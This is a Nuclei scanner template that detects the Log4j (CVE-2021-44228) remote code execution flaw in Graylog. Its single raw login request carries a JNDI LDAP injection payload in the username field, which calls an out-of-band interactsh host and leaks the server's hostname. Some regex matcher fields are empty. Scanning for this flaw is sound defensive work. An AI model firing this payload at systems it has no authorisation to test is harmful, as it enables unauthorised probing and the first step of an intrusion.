nuclei-templates/http/vulnerabilities/other/graylog-log4j.yaml

71 lines
2.4 KiB
YAML

id: graylog-log4j
info:
name: Graylog (Log4j) - Remote Code Execution
author: DhiyaneshDK
severity: critical
description: Graylog is susceptible to remote code execution via the Apache Log4j 2 library prior to 2.15.0 by recording its own log information, specifically with specially crafted values sent as user input. Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI-related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
reference:
- https://www.graylog.org/post/graylog-update-for-log4j
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-77
metadata:
verified: true
max-request: 1
shodan-query: title:"Graylog Web Interface"
tags: cve,cve2021,rce,jndi,log4j,graylog,kev,oast
variables:
rand1: '{{rand_int(111, 999)}}'
rand2: '{{rand_int(111, 999)}}'
http:
- raw:
- |
POST /api/system/sessions HTTP/1.1
Host: {{Hostname}}
Accept: application/json
X-Requested-With: XMLHttpRequest
X-Requested-By: XMLHttpRequest
Content-Type: application/json
Origin: {{BaseURL}}
Referer: {{BaseURL}}
{"username":"${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}}","password":"admin","host":"{{Hostname}}"}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: word
part: header
words:
- 'X-Graylog-Node-Id:'
- type: regex
part: interactsh_request
regex:
extractors:
- type: kval
kval:
- type: regex
group: 2
regex:
part: interactsh_request
- type: regex
group: 1
regex:
part: interactsh_request
# digest: 4b0a00483046022100bc847079e8da5f2a7f4ea2d4be0421293e57f3dbe1cd8af44eaa282cb60b6ef1022100e9b9eaba643077c568882059105f82f989fdc45a28c2f6bb7c84709b3fd9c552:922c64590222798bb761d5b6d8e72950